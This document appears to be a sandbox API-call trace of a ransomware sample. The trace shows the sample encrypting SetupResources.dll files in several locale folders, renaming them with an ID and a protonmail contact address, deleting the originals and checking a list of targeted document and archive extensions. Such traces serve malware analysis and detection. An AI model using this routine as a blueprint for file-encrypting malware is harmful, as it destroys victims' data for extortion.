	[0060.480] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.481] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=17240) returned 1
	[0060.481] CloseHandle (hObject=0x2c8) returned 1
	[0060.481] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80
	[0060.481] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.481] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.481] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.481] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.481] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.482] GetLastError () returned 0x0
	[0060.482] ReadFile (in: hFile=0x2c8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4358, lpOverlapped=0x0) returned 1
	[0060.484] WriteFile (in: hFile=0x2d0, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0060.486] ReadFile (in: hFile=0x2c8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.486] WriteFile (in: hFile=0x2d0, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0060.486] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.486] CloseHandle (hObject=0x2d0) returned 1
	[0060.488] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.488] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.489] CloseHandle (hObject=0x2c8) returned 1
	[0060.489] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.489] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1
	[0060.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.489] lstrlenW (lpString=".doc") returned 4
	[0060.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString=".docx") returned 5
	[0060.490] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.490] lstrlenW (lpString=".pdf") returned 4
	[0060.490] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString=".xls") returned 4
	[0060.490] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString=".xlsx") returned 5
	[0060.490] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.490] lstrlenW (lpString=".ppt") returned 4
	[0060.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString=".zip") returned 4
	[0060.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString=".rar") returned 4
	[0060.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString=".bz2") returned 4
	[0060.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.490] lstrlenW (lpString=".7z") returned 3
	[0060.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString=".dbf") returned 4
	[0060.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString=".1cd") returned 4
	[0060.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString=".jpg") returned 4
	[0060.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.490] lstrlenW (lpString=".doc") returned 4
	[0060.491] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString=".docx") returned 5
	[0060.491] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.491] lstrlenW (lpString=".pdf") returned 4
	[0060.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString=".xls") returned 4
	[0060.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString=".xlsx") returned 5
	[0060.491] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.491] lstrlenW (lpString=".ppt") returned 4
	[0060.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.491] lstrlenW (lpString=".zip") returned 4
	[0060.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString=".rar") returned 4
	[0060.491] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.491] lstrlenW (lpString=".bz2") returned 4
	[0060.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.491] lstrlenW (lpString=".7z") returned 3
	[0060.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.491] lstrlenW (lpString=".dbf") returned 4
	[0060.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.491] lstrlenW (lpString=".1cd") returned 4
	[0060.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0060.491] lstrlenW (lpString=".jpg") returned 4
	[0060.491] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.492] Sleep (dwMilliseconds=0x64) 
	[0060.941] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0060.941] lstrlenW (lpString="SetupResources.dll") returned 18
	[0060.941] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0060.942] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=14168) returned 1
	[0060.942] CloseHandle (hObject=0x2fc) returned 1
	[0060.942] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80
	[0060.942] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.942] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0060.943] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.943] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0060.943] GetLastError () returned 0x0
	[0060.943] ReadFile (in: hFile=0x2fc, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0060.945] WriteFile (in: hFile=0x300, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0060.947] ReadFile (in: hFile=0x2fc, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.947] WriteFile (in: hFile=0x300, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0060.947] SetEndOfFile (hFile=0x300) returned 1
	[0060.947] CloseHandle (hObject=0x300) returned 1
	[0060.948] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.948] SetEndOfFile (hFile=0x2fc) returned 1
	[0060.949] CloseHandle (hObject=0x2fc) returned 1
	[0060.949] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.950] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1
	[0060.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.950] lstrlenW (lpString=".doc") returned 4
	[0060.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString=".docx") returned 5
	[0060.950] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.950] lstrlenW (lpString=".pdf") returned 4
	[0060.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString=".xls") returned 4
	[0060.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString=".xlsx") returned 5
	[0060.950] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.950] lstrlenW (lpString=".ppt") returned 4
	[0060.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.950] lstrlenW (lpString=".zip") returned 4
	[0060.950] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString=".rar") returned 4
	[0060.950] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.950] lstrlenW (lpString=".bz2") returned 4
	[0060.950] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.950] lstrlenW (lpString=".7z") returned 3
	[0060.950] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString=".dbf") returned 4
	[0060.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString=".1cd") returned 4
	[0060.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString=".jpg") returned 4
	[0060.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString=".doc") returned 4
	[0060.951] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString=".docx") returned 5
	[0060.951] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.951] lstrlenW (lpString=".pdf") returned 4
	[0060.951] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString=".xls") returned 4
	[0060.951] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString=".xlsx") returned 5
	[0060.951] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.951] lstrlenW (lpString=".ppt") returned 4
	[0060.951] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.951] lstrlenW (lpString=".zip") returned 4
	[0060.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString=".rar") returned 4
	[0060.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.951] lstrlenW (lpString=".bz2") returned 4
	[0060.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.951] lstrlenW (lpString=".7z") returned 3
	[0060.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.952] lstrlenW (lpString=".dbf") returned 4
	[0060.952] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.952] lstrlenW (lpString=".1cd") returned 4
	[0060.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0060.952] lstrlenW (lpString=".jpg") returned 4
	[0060.952] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.952] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0060.952] lstrlenW (lpString="SetupResources.dll") returned 18
	[0060.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0060.952] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=18264) returned 1
	[0060.952] CloseHandle (hObject=0x2fc) returned 1
	[0060.952] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80
	[0060.953] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0060.953] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.953] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0060.953] GetLastError () returned 0x0
	[0060.953] ReadFile (in: hFile=0x2fc, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0060.955] WriteFile (in: hFile=0x300, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0060.956] ReadFile (in: hFile=0x2fc, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.956] WriteFile (in: hFile=0x300, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0060.957] SetEndOfFile (hFile=0x300) returned 1
	[0060.957] CloseHandle (hObject=0x300) returned 1
	[0060.958] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.958] SetEndOfFile (hFile=0x2fc) returned 1
	[0060.959] CloseHandle (hObject=0x2fc) returned 1
	[0060.959] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.959] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1
	[0060.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.960] lstrlenW (lpString=".doc") returned 4
	[0060.960] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString=".docx") returned 5
	[0060.960] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.960] lstrlenW (lpString=".pdf") returned 4
	[0060.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString=".xls") returned 4
	[0060.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString=".xlsx") returned 5
	[0060.960] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.960] lstrlenW (lpString=".ppt") returned 4
	[0060.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.960] lstrlenW (lpString=".zip") returned 4
	[0060.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString=".rar") returned 4
	[0060.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.960] lstrlenW (lpString=".bz2") returned 4
	[0060.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.960] lstrlenW (lpString=".7z") returned 3
	[0060.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.960] lstrlenW (lpString=".dbf") returned 4
	[0060.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.960] lstrlenW (lpString=".1cd") returned 4
	[0060.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString=".jpg") returned 4
	[0060.961] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString=".doc") returned 4
	[0060.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString=".docx") returned 5
	[0060.961] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0060.961] lstrlenW (lpString=".pdf") returned 4
	[0060.961] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString=".xls") returned 4
	[0060.961] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString=".xlsx") returned 5
	[0060.961] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0060.961] lstrlenW (lpString=".ppt") returned 4
	[0060.961] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString=".zip") returned 4
	[0060.961] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString=".rar") returned 4
	[0060.961] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.961] lstrlenW (lpString=".bz2") returned 4
	[0060.961] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.961] lstrlenW (lpString=".7z") returned 3
	[0060.961] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString=".dbf") returned 4
	[0060.961] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.961] lstrlenW (lpString=".1cd") returned 4
	[0060.961] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0060.962] lstrlenW (lpString=".jpg") returned 4
	[0060.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.962] Sleep (dwMilliseconds=0x64) 
	[0061.291] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.291] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.313] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=18776) returned 1
	[0061.313] CloseHandle (hObject=0x2d0) returned 1
	[0061.313] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80
	[0061.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.314] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.314] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0061.316] GetLastError () returned 0x0
